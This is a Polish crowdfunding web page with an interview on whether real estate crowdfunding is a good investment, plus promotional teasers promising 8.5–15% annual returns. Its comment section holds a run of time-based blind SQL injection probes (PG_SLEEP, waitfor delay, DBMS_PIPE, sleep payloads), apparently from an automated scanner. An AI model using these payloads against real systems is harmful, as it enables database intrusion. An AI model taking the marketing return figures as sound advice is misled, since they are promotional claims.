Czym jest crowdfunding? Jak działa, rodzaje i ryzyka
Czym jest crowdfunding? Przystępny przewodnik: jak działa, główne rodzaje (nagrodowy, udziałowy, pożyczki, nieruchomości), przepisy UE i ryzyka.
- Crowdfunding
- Investing
Wywiad
Czy to dobry czas na inwestowanie w crowdfunding nieruchomości?
Nieruchomości uważane są za jedną z najbezpieczniejszych inwestycji, ale czy tak jest w obecnych warunkach?
Udostępnij
Zapytaliśmy Janisa Ozolsa, Partnera w Colliers, Wycena i Doradztwo.
Światowa gospodarka doświadcza dużej zmienności i niepewności przyozdobionej wysoką inflacją.
W takich czasach inwestowanie jest kluczowe, aby nie stracić wartości swoich oszczędności, ale gdzie inwestować? Nieruchomości są uważane za jedną z najbezpieczniejszych inwestycji, ale czy tak jest w obecnych warunkach? Zapytaliśmy o to Janisa Ozolsa, Partnera w Colliers, Wycena i Doradztwo.
Jaki jest obecny stan europejskiego rynku nieruchomości, biorąc pod uwagę wpływ pandemii i wojny na Ukrainie?
Wydaje się, że po początkowym szoku uczestnicy rynku - zarówno prywatni, jak i korporacyjni - doszli do wniosku, że życie i biznes po prostu muszą toczyć się dalej. Musimy pamiętać, że dostępny kapitał jest nadal na rekordowo wysokim poziomie i szuka okazji do wykorzystania. Wraz z wysoką inflacją, chęć i apetyt na przekształcenie kapitału w aktywa rosną jeszcze bardziej.
I nagle efektywność energetyczna i zrównoważony rozwój nie są już czymś, o czym miło pomyśleć, ale pilną kwestią, którą należy się zająć.
Czy ceny nieruchomości zbliżają się do sztucznego szczytu cenowego i co się stanie, gdy sytuacja się unormuje?
Powstrzymałbym się od stwierdzenia, czy jesteśmy na szczycie, czy nie. Poleganie wyłącznie na krótkoterminowym wzroście wartości kapitału jest zawsze ryzykowne. Trzeba zrozumieć perspektywę długoterminową. A ta najprawdopodobniej różni się w zależności od sektora rynku nieruchomości i regionu geograficznego.
Czy w obecnej sytuacji dobrym pomysłem jest inwestowanie w nieruchomości, a jeśli tak, to w jakiego typu (deweloperskie, pod wynajem, komercyjne)?
Jeśli masz kapitał w banku, to nieruchomość przynosząca dochód z wynajmu jest z pewnością kuszącą opcją. Pod warunkiem, że odpowiada ona Twojemu profilowi ryzyka.
Wynajem mieszkań i aktywa logistyczne są obecnie w modzie. Również biura mają swój popyt, podobnie jak niektóre (ale nie wszystkie) segmenty nieruchomości handlowych. Wiele osób dostrzega kuszące możliwości w branży hotelarskiej.
Kapitał zagrożony. Inwestycje crowdfundingowe nie są objęte systemem gwarantowania depozytów, mogą stracić część lub całość wartości i przed końcem okresu mogą być trudne do sprzedania. Ten poradnik to informacja, nie osobista porada inwestycyjna.
Czy to było pomocne?
Polubienia · 0
Eugene Sokolovs Ekspert
Founder of Crowdinform
Czytaj dalej
Wideo
🏰 Zbuduj swoje europejskie imperium nieruchomości… za pieniądze na lunch 🥪
Już dziś możesz zacząć od zaledwie 100 euro — mniej więcej tyle, ile kosztuje przyjemna kolacja w restauracji — a za zaledwie kilka tysięcy euro zbudować zdywersyfikowany portfel nieruchomości w całej Europie 🌍, osiągając roczne zyski na poziomie od 8,5% do ponad 15%.
Teraz możesz zainwestować w SpaceX, Stripe i Mistral, zanim wejdą na giełdę — oto jak to zrobić
Przez dziesięciolecia największe zyski z inwestycji osiągano za zamkniętymi drzwiami. Teraz już tak nie jest.
- Investing in Startups
Komentarze · 24
KkEMlzpAX
555
KkEMlzpAX
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
KkEMlzpAX
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
KkEMlzpAX
555X0CUQDwY')) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
KkEMlzpAX
555wbG8V5yx') OR 985=(SELECT 985 FROM PG_SLEEP(15))--
KkEMlzpAX
555T1DXnocJ' OR 497=(SELECT 497 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1)) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1 OR 324=(SELECT 324 FROM PG_SLEEP(15))--
KkEMlzpAX
555MIk6zzQ8'; waitfor delay '0:0:15' --
KkEMlzpAX
555-1 waitfor delay '0:0:15' --
KkEMlzpAX
555-1); waitfor delay '0:0:15' --
KkEMlzpAX
555-1; waitfor delay '0:0:15' --
KkEMlzpAX
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
KkEMlzpAX
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
KkEMlzpAX
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
KkEMlzpAX
555*if(now()=sysdate(),sleep(15),0)
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555-1)) OR 438=(SELECT 438 FROM PG_SLEEP(15))--
KkEMlzpAX
555
KkEMlzpAX
555MjelpxhN' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1; waitfor delay '0:0:15' --